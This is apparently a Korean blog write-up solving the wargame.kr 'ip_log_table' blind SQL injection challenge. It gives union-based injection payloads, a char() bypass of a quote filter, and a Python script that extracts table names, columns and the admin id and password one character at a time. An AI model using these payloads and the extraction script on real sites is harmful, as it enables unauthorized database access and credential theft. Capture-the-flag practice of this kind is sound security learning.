풀이
Blind SQLi challenge.
You can use 'Ascii' to 'Date'
한참 헤매다가 POST 값을 전송하는 hidden form을 찾았다.
1이라는 값을 보내봤다.
1970-01-01 09:00:00이라는 기본 시간대를 출력한다.
아마도 SQL 쿼리문을 이용하는 거 같은데.. 테이블에 출력된 idx값을 넣으면 해당 페이지로 이동한다.
union으로 살짝 건드려보면 어떨까?
1 union select 60
시간이 60초 증가했다. 이를 이용해 테이블 이름과 컬럼 이름을 한 글자씩 뽑아내어 알아낼 수 있을 거 같다.
그런데, 문제에서 언급된 You can use 'Ascii' to 'Date' 이 마음에 걸린다. 혹시 쿼터를 필터하는 것이 아닐까?
44665 or 1=1
저 쿼리문은 문제없이 44665번째 idx가 출력된다. 그렇다면 이건 어떨까?
44665 or 'a'='a'
이로써, 쿼터를 필터하는 건 맞는 듯하다. 일단 이 점을 기억해두고, 테이블 이름을 찾아보자.
기본적으로 다음 코드를 사용한다. 테이블이냐, 컬럼이냐에 따라서, param 값을 조정해주면 된다.
import requests
import time
arr = []
url = 'http://wargame.kr:8080/ip_log_table/chk.php'
for i in range(0,30):
for w in range(0,20):
param = 'TABLE OR COLUMN??'
cookies = {'PHPSESSID': 'djhaj13dd2hj2ragaald59fb74'}
data = {'idx':param}
html = requests.post(url, data=data, cookies=cookies)
var1 = int(html.text[-8:-7]) * 60 #분
var2 = int(html.text[-6:-4]) #초
if chr(var1 + var2) is '\x00':
continue
arr.append(str(chr(var1+var2)))
print(str(i) + '번째 -> ' + ''.join(arr))
arr = []
테이블 이름을 찾을 때는 해당 param 값을 사용한다.
1 union select ord(substr((select table_name from information_schema.tables limit ' + str(i) + ',1),'+str(w)+',1))
총 72개의 테이블이 존재했고, 71번째에서 admin_table 테이블이 나왔다.
0번째 -> ALL_PLUGINS
1번째 -> APPLICABLE_ROLES
2번째 -> CHARACTER_SETS
3번째 -> CLIENT_STATISTICS
4번째 -> COLLATIONS
5번째 -> COLLATION_CHARACTER
6번째 -> COLUMNS
7번째 -> COLUMN_PRIVILEGES
8번째 -> ENABLED_ROLES
9번째 -> ENGINES
10번째 -> EVENTS
11번째 -> FILES
12번째 -> GLOBAL_STATUS
13번째 -> GLOBAL_VARIABLES
14번째 -> INDEX_STATISTICS
15번째 -> KEY_CACHES
16번째 -> KEY_COLUMN_USAGE
17번째 -> PARAMETERS
18번째 -> PARTITIONS
19번째 -> PLUGINS
20번째 -> PROCESSLIST
21번째 -> PROFILING
22번째 -> REFERENTIAL_CONSTRA
23번째 -> ROUTINES
24번째 -> SCHEMATA
25번째 -> SCHEMA_PRIVILEGES
26번째 -> SESSION_STATUS
27번째 -> SESSION_VARIABLES
28번째 -> STATISTICS
29번째 -> TABLES
30번째 -> TABLESPACES
31번째 -> TABLE_CONSTRAINTS
32번째 -> TABLE_PRIVILEGES
33번째 -> TABLE_STATISTICS
34번째 -> TRIGGERS
35번째 -> USER_PRIVILEGES
36번째 -> USER_STATISTICS
37번째 -> VIEWS
38번째 -> INNODB_CMP
39번째 -> XTRADB_INTERNAL_HAS
40번째 -> INNODB_SYS_DATAFILE
41번째 -> XTRADB_RSEG
42번째 -> INNODB_SYS_TABLESTA
43번째 -> INNODB_TRX
44번째 -> INNODB_FT_BEING_DEL
45번째 -> INNODB_CMP_RESET
46번째 -> INNODB_CMP_PER_INDE
47번째 -> INNODB_LOCKS
48번째 -> INNODB_FT_DELETED
49번째 -> XTRADB_READ_VIEW
50번째 -> INNODB_LOCK_WAITS
51번째 -> INNODB_CMPMEM_RESET
52번째 -> INNODB_SYS_INDEXES
53번째 -> INNODB_SYS_TABLES
54번째 -> INNODB_SYS_FIELDS
55번째 -> INNODB_BUFFER_PAGE_
56번째 -> INNODB_FT_CONFIG
57번째 -> INNODB_FT_INDEX_TAB
58번째 -> INNODB_CMP_PER_INDE
59번째 -> INNODB_SYS_TABLESPA
60번째 -> INNODB_FT_INDEX_CAC
61번째 -> INNODB_SYS_FOREIGN_
62번째 -> INNODB_METRICS
63번째 -> INNODB_BUFFER_POOL_
64번째 -> INNODB_CMPMEM
65번째 -> INNODB_SYS_FOREIGN
66번째 -> INNODB_SYS_COLUMNS
67번째 -> INNODB_FT_DEFAULT_S
68번째 -> INNODB_BUFFER_PAGE
69번째 -> INNODB_CHANGED_PAGE
70번째 -> admin_table
71번째 -> ip_table
72번째 ->
컬럼 이름도 똑같이 찾으려다가 삽질만 하고 코드를 바꿨다. where 문만 추가해주면 되는거였는데..
컬럼에서는 다음 param 값을 사용한다. 쿼터가 필요해 char 함수로 우회하였다.
1 union select ord(substr((select column_name from information_schema.columns where table_name=char(97,100,109,105,110,95,116,97,98,108,101) limit ' + str(i) + ',1),'+str(w)+',1))
총 3개의 컬럼이 존재했고 다음과 같은 결과가 나왔다.
0번째 -> idx
1번째 -> id
2번째 -> ps
3번째 ->
당연하게도, id 값이 admin 인줄알고.. 또 다시 삽질하다가.. id 값이 그냥 admin이 아니었다는 것을 알았다.
id 값에는 다음 param 값을 사용한다.
1 union select ord(substr((select id from admin_table limit ' + str(i) + ',1),'+str(w)+',1))
id 값을 찾았다면 이번에는 ps 차례이다.
ps 값에는 다음 param 값을 사용한다.
1 union select ord(substr((select ps from admin_table limit ' + str(i) + ',1),'+str(w)+',1))
이제 구한 id와 ps로 로그인을 시도해보자!
'Wargame > wargame.kr' 카테고리의 다른 글
[Wargame.kr] EASY_CrackMe 풀이 (315p) (0) | 2020.07.30 |
---|---|
[Wargame.kr] keypad CrackMe 풀이 (377p) (0) | 2020.07.30 |
[Wargame.kr] SimpleBoard 풀이 (360p) (0) | 2020.07.29 |
[Wargame.kr] pyc decompile 풀이 (354p) (0) | 2020.07.29 |
[Wargame.kr] web chatting 풀이 (341p) (0) | 2020.07.29 |